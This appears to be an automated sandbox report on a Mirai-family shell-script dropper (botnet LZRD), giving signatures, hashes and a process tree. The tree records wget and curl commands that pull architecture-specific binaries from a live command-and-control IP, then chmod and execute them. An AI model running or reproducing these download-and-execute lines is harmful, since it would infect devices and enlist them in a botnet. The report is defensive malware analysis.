Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20261019-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20261019-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    11/11/2026, 10:45

General

  • Target
    f9e369c099fc30efd04f7d08621d7a63d4c9e846320047a0e6a67eacb5a92d82.sh
  • Size 1KB
  • Sample261111-mtfydsgv4s
  • SHA256 f9e369c099fc30efd04f7d08621d7a63d4c9e846320047a0e6a67eacb5a92d82
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Family
  • mirai

Botnet
  • LZRD

C2
  • 94.26.106.200

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Contacts a large (163988) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 10 IoCs
  • Modifies Watchdog functionality 1 TTPs 20 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates active TCP sockets 1 TTPs 10 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads system network configuration 1 TTPs 10 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 30 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/f9e369c099fc30efd04f7d08621d7a63d4c9e846320047a0e6a67eacb5a92d82.sh
    /tmp/f9e369c099fc30efd04f7d08621d7a63d4c9e846320047a0e6a67eacb5a92d82.sh
    1⤵
    • Executes dropped EXE
    • Writes file to tmp directory
    PID:1535
    • /usr/bin/wget
      wget http://94.26.106.200/d/xd.x86
      2⤵
      • Writes file to tmp directory
      PID:1536
    • /usr/bin/curl
      curl -O http://94.26.106.200/d/xd.x86
      2⤵
      • Writes file to tmp directory
      PID:1544
    • /bin/cat
      cat xd.x86
      2⤵
        PID:1545
      • /bin/chmod
        chmod +x config-err-F0y99t f9e369c099fc30efd04f7d08621d7a63d4c9e846320047a0e6a67eacb5a92d82.sh netplan_9w9j7jtf snap-private-tmp SSH ssh-Dy9ND9ARNSWY systemd-private-bebad11b059748e6958dfd0c0e345d4f-bolt.service-y3ob2B systemd-private-bebad11b059748e6958dfd0c0e345d4f-colord.service-0KTZwR systemd-private-bebad11b059748e6958dfd0c0e345d4f-ModemManager.service-QDANDx systemd-private-bebad11b059748e6958dfd0c0e345d4f-systemd-resolved.service-WdERRC systemd-private-bebad11b059748e6958dfd0c0e345d4f-systemd-timedated.service-CI0yHO xd.x86
        2⤵
        • File and Directory Permissions Modification
        PID:1546
      • /tmp/SSH
        ./SSH
        2⤵
        • Modifies Watchdog functionality
        • Enumerates active TCP sockets
        • Reads system network configuration
        • Reads runtime system information
        PID:1547
      • /usr/bin/wget
        wget http://94.26.106.200/d/xd.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1551
      • /usr/bin/curl
        curl -O http://94.26.106.200/d/xd.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1557
      • /bin/chmod
        chmod +x config-err-F0y99t f9e369c099fc30efd04f7d08621d7a63d4c9e846320047a0e6a67eacb5a92d82.sh netplan_9w9j7jtf snap-private-tmp SSH ssh-Dy9ND9ARNSWY systemd-private-bebad11b059748e6958dfd0c0e345d4f-bolt.service-y3ob2B systemd-private-bebad11b059748e6958dfd0c0e345d4f-colord.service-0KTZwR systemd-private-bebad11b059748e6958dfd0c0e345d4f-ModemManager.service-QDANDx systemd-private-bebad11b059748e6958dfd0c0e345d4f-systemd-resolved.service-WdERRC systemd-private-bebad11b059748e6958dfd0c0e345d4f-systemd-timedated.service-CI0yHO xd.mips xd.x86
        2⤵
        • File and Directory Permissions Modification
        PID:1559
      • /tmp/SSH
        ./SSH
        2⤵
        • Modifies Watchdog functionality
        • Enumerates active TCP sockets
        • Reads system network configuration
        • Reads runtime system information
        PID:1560
      • /usr/bin/wget
        wget http://94.26.106.200/d/xd.mpsl
        2⤵
        • Writes file to tmp directory
        PID:1564
      • /usr/bin/curl
        curl -O http://94.26.106.200/d/xd.mpsl
        2⤵
        • Writes file to tmp directory
        PID:1570
      • /bin/chmod
        chmod +x config-err-F0y99t f9e369c099fc30efd04f7d08621d7a63d4c9e846320047a0e6a67eacb5a92d82.sh netplan_9w9j7jtf snap-private-tmp SSH ssh-Dy9ND9ARNSWY systemd-private-bebad11b059748e6958dfd0c0e345d4f-bolt.service-y3ob2B systemd-private-bebad11b059748e6958dfd0c0e345d4f-colord.service-0KTZwR systemd-private-bebad11b059748e6958dfd0c0e345d4f-ModemManager.service-QDANDx systemd-private-bebad11b059748e6958dfd0c0e345d4f-systemd-resolved.service-WdERRC systemd-private-bebad11b059748e6958dfd0c0e345d4f-systemd-timedated.service-CI0yHO xd.mips xd.mpsl xd.x86
        2⤵
        • File and Directory Permissions Modification
        PID:1572
      • /tmp/SSH
        ./SSH
        2⤵
        • Modifies Watchdog functionality
        • Enumerates active TCP sockets
        • Reads system network configuration
        • Reads runtime system information
        PID:1573
      • /usr/bin/wget
        wget http://94.26.106.200/d/xd.arm4
        2⤵
          PID:1577
        • /usr/bin/curl
          curl -O http://94.26.106.200/d/xd.arm4
          2⤵
          • Writes file to tmp directory
          PID:1581
        • /bin/chmod
          chmod +x config-err-F0y99t f9e369c099fc30efd04f7d08621d7a63d4c9e846320047a0e6a67eacb5a92d82.sh netplan_9w9j7jtf snap-private-tmp SSH ssh-Dy9ND9ARNSWY systemd-private-bebad11b059748e6958dfd0c0e345d4f-bolt.service-y3ob2B systemd-private-bebad11b059748e6958dfd0c0e345d4f-colord.service-0KTZwR systemd-private-bebad11b059748e6958dfd0c0e345d4f-ModemManager.service-QDANDx systemd-private-bebad11b059748e6958dfd0c0e345d4f-systemd-resolved.service-WdERRC systemd-private-bebad11b059748e6958dfd0c0e345d4f-systemd-timedated.service-CI0yHO xd.arm4 xd.mips xd.mpsl xd.x86
          2⤵
          • File and Directory Permissions Modification
          PID:1583
        • /tmp/SSH
          ./SSH
          2⤵
          • Modifies Watchdog functionality
          • Enumerates active TCP sockets
          • Reads system network configuration
          • Reads runtime system information
          PID:1584
        • /usr/bin/wget
          wget http://94.26.106.200/d/xd.arm5
          2⤵
          • Writes file to tmp directory
          PID:1588
        • /usr/bin/curl
          curl -O http://94.26.106.200/d/xd.arm5
          2⤵
          • Writes file to tmp directory
          PID:1596
        • /bin/chmod
          chmod +x config-err-F0y99t f9e369c099fc30efd04f7d08621d7a63d4c9e846320047a0e6a67eacb5a92d82.sh netplan_9w9j7jtf snap-private-tmp SSH ssh-Dy9ND9ARNSWY systemd-private-bebad11b059748e6958dfd0c0e345d4f-bolt.service-y3ob2B systemd-private-bebad11b059748e6958dfd0c0e345d4f-colord.service-0KTZwR systemd-private-bebad11b059748e6958dfd0c0e345d4f-ModemManager.service-QDANDx systemd-private-bebad11b059748e6958dfd0c0e345d4f-systemd-resolved.service-WdERRC systemd-private-bebad11b059748e6958dfd0c0e345d4f-systemd-timedated.service-CI0yHO xd.arm4 xd.arm5 xd.mips xd.mpsl xd.x86
          2⤵
          • File and Directory Permissions Modification
          PID:1598
        • /tmp/SSH
          ./SSH
          2⤵
          • Modifies Watchdog functionality
          • Enumerates active TCP sockets
          • Reads system network configuration
          • Reads runtime system information
          PID:1599
        • /usr/bin/wget
          wget http://94.26.106.200/d/xd.arm6
          2⤵
          • Writes file to tmp directory
          PID:1603
        • /usr/bin/curl
          curl -O http://94.26.106.200/d/xd.arm6
          2⤵
          • Writes file to tmp directory
          PID:1609
        • /bin/chmod
          chmod +x config-err-F0y99t f9e369c099fc30efd04f7d08621d7a63d4c9e846320047a0e6a67eacb5a92d82.sh netplan_9w9j7jtf snap-private-tmp SSH ssh-Dy9ND9ARNSWY systemd-private-bebad11b059748e6958dfd0c0e345d4f-bolt.service-y3ob2B systemd-private-bebad11b059748e6958dfd0c0e345d4f-colord.service-0KTZwR systemd-private-bebad11b059748e6958dfd0c0e345d4f-ModemManager.service-QDANDx systemd-private-bebad11b059748e6958dfd0c0e345d4f-systemd-resolved.service-WdERRC xd.arm4 xd.arm5 xd.arm6 xd.mips xd.mpsl xd.x86
          2⤵
          • File and Directory Permissions Modification
          PID:1613
        • /tmp/SSH
          ./SSH
          2⤵
          • Modifies Watchdog functionality
          • Enumerates active TCP sockets
          • Reads system network configuration
          • Reads runtime system information
          PID:1614
        • /usr/bin/wget
          wget http://94.26.106.200/d/xd.arm7
          2⤵
          • Writes file to tmp directory
          PID:1618
        • /usr/bin/curl
          curl -O http://94.26.106.200/d/xd.arm7
          2⤵
          • Writes file to tmp directory
          PID:1622
        • /bin/chmod
          chmod +x config-err-F0y99t f9e369c099fc30efd04f7d08621d7a63d4c9e846320047a0e6a67eacb5a92d82.sh netplan_9w9j7jtf snap-private-tmp SSH ssh-Dy9ND9ARNSWY systemd-private-bebad11b059748e6958dfd0c0e345d4f-bolt.service-y3ob2B systemd-private-bebad11b059748e6958dfd0c0e345d4f-colord.service-0KTZwR systemd-private-bebad11b059748e6958dfd0c0e345d4f-ModemManager.service-QDANDx systemd-private-bebad11b059748e6958dfd0c0e345d4f-systemd-resolved.service-WdERRC xd.arm4 xd.arm5 xd.arm6 xd.arm7 xd.mips xd.mpsl xd.x86
          2⤵
          • File and Directory Permissions Modification
          PID:1626
        • /tmp/SSH
          ./SSH
          2⤵
          • Modifies Watchdog functionality
          • Enumerates active TCP sockets
          • Reads system network configuration
          • Reads runtime system information
          PID:1627
        • /usr/bin/wget
          wget http://94.26.106.200/d/xd.ppc
          2⤵
          • Writes file to tmp directory
          PID:1631
        • /usr/bin/curl
          curl -O http://94.26.106.200/d/xd.ppc
          2⤵
          • Writes file to tmp directory
          PID:1726
        • /bin/chmod
          chmod +x config-err-F0y99t f9e369c099fc30efd04f7d08621d7a63d4c9e846320047a0e6a67eacb5a92d82.sh netplan_9w9j7jtf snap-private-tmp SSH ssh-Dy9ND9ARNSWY systemd-private-bebad11b059748e6958dfd0c0e345d4f-bolt.service-y3ob2B systemd-private-bebad11b059748e6958dfd0c0e345d4f-colord.service-0KTZwR systemd-private-bebad11b059748e6958dfd0c0e345d4f-ModemManager.service-QDANDx systemd-private-bebad11b059748e6958dfd0c0e345d4f-rtkit-daemon.service-iEzkwa systemd-private-bebad11b059748e6958dfd0c0e345d4f-systemd-hostnamed.service-ymv2w1 systemd-private-bebad11b059748e6958dfd0c0e345d4f-systemd-localed.service-SqMQFv systemd-private-bebad11b059748e6958dfd0c0e345d4f-systemd-resolved.service-WdERRC xd.arm4 xd.arm5 xd.arm6 xd.arm7 xd.mips xd.mpsl xd.ppc xd.x86
          2⤵
          • File and Directory Permissions Modification
          PID:1826
        • /tmp/SSH
          ./SSH
          2⤵
          • Modifies Watchdog functionality
          • Enumerates active TCP sockets
          • Reads system network configuration
          • Reads runtime system information
          PID:1827
        • /usr/bin/wget
          wget http://94.26.106.200/d/xd.m68k
          2⤵
          • Writes file to tmp directory
          PID:1831
        • /usr/bin/curl
          curl -O http://94.26.106.200/d/xd.m68k
          2⤵
          • Writes file to tmp directory
          PID:1835
        • /bin/chmod
          chmod +x config-err-F0y99t f9e369c099fc30efd04f7d08621d7a63d4c9e846320047a0e6a67eacb5a92d82.sh netplan_9w9j7jtf snap-private-tmp SSH systemd-private-bebad11b059748e6958dfd0c0e345d4f-bolt.service-y3ob2B systemd-private-bebad11b059748e6958dfd0c0e345d4f-colord.service-0KTZwR systemd-private-bebad11b059748e6958dfd0c0e345d4f-ModemManager.service-QDANDx systemd-private-bebad11b059748e6958dfd0c0e345d4f-rtkit-daemon.service-iEzkwa systemd-private-bebad11b059748e6958dfd0c0e345d4f-systemd-hostnamed.service-ymv2w1 systemd-private-bebad11b059748e6958dfd0c0e345d4f-systemd-localed.service-SqMQFv systemd-private-bebad11b059748e6958dfd0c0e345d4f-systemd-resolved.service-WdERRC xd.arm4 xd.arm5 xd.arm6 xd.arm7 xd.m68k xd.mips xd.mpsl xd.ppc xd.x86
          2⤵
          • File and Directory Permissions Modification
          PID:1840
        • /tmp/SSH
          ./SSH
          2⤵
          • Modifies Watchdog functionality
          • Enumerates active TCP sockets
          • Reads system network configuration
          • Reads runtime system information
          PID:1841
        • /usr/bin/wget
          wget http://94.26.106.200/d/xd.sh4
          2⤵
          • Writes file to tmp directory
          PID:1845
        • /usr/bin/curl
          curl -O http://94.26.106.200/d/xd.sh4
          2⤵
          • Writes file to tmp directory
          PID:1851
        • /bin/chmod
          chmod +x config-err-F0y99t f9e369c099fc30efd04f7d08621d7a63d4c9e846320047a0e6a67eacb5a92d82.sh netplan_9w9j7jtf snap-private-tmp SSH systemd-private-bebad11b059748e6958dfd0c0e345d4f-bolt.service-y3ob2B systemd-private-bebad11b059748e6958dfd0c0e345d4f-colord.service-0KTZwR systemd-private-bebad11b059748e6958dfd0c0e345d4f-ModemManager.service-QDANDx systemd-private-bebad11b059748e6958dfd0c0e345d4f-rtkit-daemon.service-iEzkwa systemd-private-bebad11b059748e6958dfd0c0e345d4f-systemd-hostnamed.service-ymv2w1 systemd-private-bebad11b059748e6958dfd0c0e345d4f-systemd-localed.service-SqMQFv systemd-private-bebad11b059748e6958dfd0c0e345d4f-systemd-resolved.service-WdERRC xd.arm4 xd.arm5 xd.arm6 xd.arm7 xd.m68k xd.mips xd.mpsl xd.ppc xd.sh4 xd.x86
          2⤵
          • File and Directory Permissions Modification
          PID:1853
        • /tmp/SSH
          ./SSH
          2⤵
          • Modifies Watchdog functionality
          • Enumerates active TCP sockets
          • Reads system network configuration
          • Reads runtime system information
          PID:1854

      Network

            MITRE ATT&CK Enterprise v16

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            Downloads

            xd.x86

            • Path /tmp/xd.x86
            • Size 29KB
            • SHA256 2a5116c9513947357f7b71cbf94e13e8cad82c7e24bb8fb5878b69b6aabbbd2b
            • MD5 SHA1 SHA512 SSDEEP TLSH